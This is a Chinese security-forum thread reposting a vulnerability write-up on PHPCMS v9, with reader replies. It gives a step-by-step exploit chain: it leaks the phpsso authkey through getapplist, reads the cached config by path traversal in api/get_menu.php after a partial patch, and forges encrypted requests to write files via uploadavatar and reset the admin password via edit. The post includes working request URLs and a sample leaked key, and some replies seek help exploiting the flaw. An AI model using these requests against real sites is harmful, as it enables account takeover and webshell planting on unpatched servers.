查看: 73967|回复: 80

PHPCMS最新版本authkey泄露可注射拿shell

[复制链接]
  • TA的每日心情
    奋斗
    2021-12-29 18:17
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2015-4-12 07:51:22 | 显示全部楼层 |阅读模式
    本帖最后由 凡火火。 于 2015-4-12 08:06 编辑

    本文于2015年4月12日清晨转自乌云漏洞平台 截稿时乌云漏洞状态为细节向第三方安全合作伙伴开放

    ---我是火火可爱的分割线---

    安装phpcms的时候会强制安装它的通行证。
    phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码
    1. /**
    2.          * 获取应用列表
    3.          */
    4.         public function getapplist() {
    5.                 $applist = getcache('applist', 'admin');
    6.                 exit(serialize($applist));
    7.         }
    复制代码

    cache里是什么内容呢,我们自己去看一下文件:
    1. <?php
    2. return array (
    3.   1 =>
    4.   array (
    5.     'appid' => '1',
    6.     'type' => 'phpcms_v9',
    7.     'name' => 'phpcms v9',
    8.     'url' => 'http://localhost:8038/study/phpcms/',
    9.     'authkey' => 'L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr',
    10.     'ip' => '',
    11.     'apifilename' => 'api.php?op=phpsso',
    12.     'charset' => 'gbk',
    13.     'synlogin' => '1',
    14.   ),
    15. );
    16. ?>
    复制代码

    所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
    查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。
    1. if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
    2.                         foreach($_GET as $k=>$v) {
    3.                                 if(!in_array($k, array('m','c','a'))) {
    4.                                         $_POST[$k] = $v;
    5.                                 }
    6.                         }
    7.                 }
    复制代码

    GET全付给POST
    1. if(isset($_POST['data'])) {
    2.                         parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
    3.                                        
    4.                         if(empty($this->data) || !is_array($this->data)) {
    5.                                 exit('0');
    6.                         }
    7.                 } else {
    8.                         exit('0');
    9.                 }
    复制代码

    ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。

    注册登录后访问

    http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1

    查看源文件:
    27110857596afb4d3cfd52bc288fe1dd5e779dc8.jpg
    拿到这个:

    1. aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==
    复制代码


    解除base64_decode编码得

    1. http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
    复制代码



    将url里的uploadavatar换成:getapplist得:

    1. http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
    复制代码


    访问得:

    1. a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}
    复制代码


    和我们想的一样,authkey在里面:

    1. s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"
    复制代码


    拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。



    举个例子:



    1. /phpcms/phpsso_server/phpcms/modules/phpsso/index.php

    2. 内:

    3. public function uploadavatar()

    4. 写的



    5. $this->uid = $this->data['uid']; //uid来自解密出来的uid

    6. $this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容



    7. ……



    8. $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';



    9. //目录名里引用了来自解密内容的uid



    10. ……

    11. $filename = $dir.'180x180.jpg';

    12. //文件名又来自引用了解密uid内容的$dir变量

    13. $fp = fopen($filename, 'w');

    14. fwrite($fp, $this->avatardata);

    15. fclose($fp);
    复制代码




    文件写入了,反正是想做什么做什么。



    可是……在厂商默默的忽略之后又偷偷的发了小补丁。。。
    其中这个点
    1. public function getapplist() {
    2.                 $applist = getcache('applist', 'admin');
    3.                 exit(serialize($applist));
    4.         }
    复制代码


    修复为
    1. public function getapplist() {
    2.                 $applist = getcache('applist', 'admin');
    3.                 foreach($applist as $key=>$value){
    4.                         unset($applist[$key]['authkey']);
    5.                 }
    6.                 exit(serialize($applist));
    复制代码

    修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:
    1. function ajax_getlist() {

    2.         $cachefile = $_GET['cachefile'];
    3.         $cachefile = str_replace(array('/', '//'), '', $cachefile);
    4.         //$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
    5.         $path = $_GET['path'];
    6.         $path = str_replace(array('/', '//'), '', $path);
    7.         //$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
    8.         $title = $_GET['title'];
    9.         $key = $_GET['key'];
    10.         $infos = getcache($cachefile,$path);
    11.         $where_id = intval($_GET['parentid']);
    12.         $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
    13.         foreach($infos AS $k=>$v) {
    14.                 if($v['parentid'] == $where_id) {
    15.                         if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
    16.                         $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
    17.                 }
    18.         }
    19.         if(count($s)>0) {
    20.                 $jsonstr = json_encode($s);
    21.                 echo trim_script($_GET['callback']).'(',$jsonstr,')';
    22.                 exit;                       
    23.         } else {
    24.                 echo trim_script($_GET['callback']).'()';exit;                       
    25.         }
    26. }
    复制代码

    其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。

    那么如果这样的链接会督导什么内容呢?

    1. http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
    复制代码

    27110857596afb4d3cfd52bc288fe1dd5e779dc8.jpg
    继续往下看
    在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:
    1. public function edit() {
    2.                 $this->email = isset($this->data['email']) ? $this->data['email'] : '';
    3.                 $this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';

    4.                 $userinfo = $this->getuserinfo(1);
    5.                
    6.                 if (isset($this->data['password']) && !empty($this->data['password'])) {
    7.                         $this->password = create_password($this->data['password'], $userinfo['random']);
    8.                 }
    9.                
    10.                 $this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
    11.                 if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
    12.                         $this->newpassword = create_password($this->data['newpassword'], $this->random);
    13.                 }

    14.                 if ($userinfo == -1) {
    15.                         exit('-1');
    16.                 }

    17.                 if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
    18.                         exit('-2');
    19.                 }

    20.                 if ($this->email && $userinfo['email'] != $this->email) {
    21.                         if($this->checkemail(1) == -1) exit('-3');
    22.                 }       
    23.                
    24.                 $data = array();
    25.                 $data['appname'] = $this->applist[$this->appid]['name'];
    26.                
    27.                 if (!empty($this->email) && $userinfo['email'] != $this->email) {
    28.                         $data['email'] = $this->email;
    29.                 }

    30.                 if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
    31.                         $data['password'] = $this->newpassword;
    32.                         $data['random'] = $this->random;
    33.                 }

    34.                 if (!empty($data)) {
    35.                        
    36.                         //ucenter部份
    37.                         if ($this->config['ucuse']) {
    38.                                 pc_base::load_config('uc_config');
    39.                                 require_once PHPCMS_PATH.'api/uc_client/client.php';
    40.                                 $r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
    41.                                 if ($r != 1) {
    42.                                  //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
    43.                                         switch ($r) {
    44.                                                 case '-1':
    45.                                                         exit('-2');
    46.                                                 break;
    47.                                                 case '0':                               
    48.                                                 case '-4':                                               
    49.                                                 case '-5':                                               
    50.                                                 case '-6':
    51.                                                 case '-7':
    52.                                                 case '-8':
    53.                                                         exit('0');
    54.                                                 break;
    55.                                         }
    56.                                 }
    57.                         }
    58.                         if (empty($data['email'])) unset($data['email']);
    59.                
    60.                         /*插入消息队列*/
    61.                         $noticedata = $data;
    62.                         $noticedata['uid'] = $userinfo['uid'];
    63.                         messagequeue::add('member_edit', $noticedata);
    64.                         if($this->username) {
    65.                                 $res = $this->db->update($data, array('username'=>$this->username));
    66.                         } else {
    67.                                 $res = $this->db->update($data, array('uid'=>$this->uid));
    68.                         }
    69.                         exit("$res");
    70.                 } else {
    71.                         exit('0');
    72.                 }
    73.         }
    复制代码

    里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:
    uid=1&newpassword=admin123456
    利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入.
    我只是大自然的搬运工。

    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2015-4-12 10:56:09 | 显示全部楼层
    昨天晚上捧着手机在床上看了半天,现在再来重新看一遍、
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-4-13 08:56:17 | 显示全部楼层
    学习了!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-8-19 16:33
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-4-13 16:18:15 | 显示全部楼层
    楼主,能做一个教程么?看不懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-4-24 14:55
  • 签到天数: 54 天

    [LV.5]常住居民I

    发表于 2015-4-13 23:04:51 | 显示全部楼层
    直接来个怎么利用多啊好。一直没怎么看懂
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-4-20 20:01:31 | 显示全部楼层
    为什么按照你的操作进行 返回零呢 ,搞不明白了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-4-20 21:04:44 | 显示全部楼层
    我这样说正确的吗 sys_auth('uid=1&newpassword=admin123456','ENCODE','BnT5xx7Sxgma8B9hvHC6RTUkPOdbFRHO')  加密后  然后 访问 /index.php?m=phpsso&c=index&a=edit&data=加密字符串 ?   不成功 肯定哪里出了问题 能不能不吝指教下   
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-6-28 00:44:54 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 18:29:37 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-30 23:38:00 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 00:47 , Processed in 0.026283 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部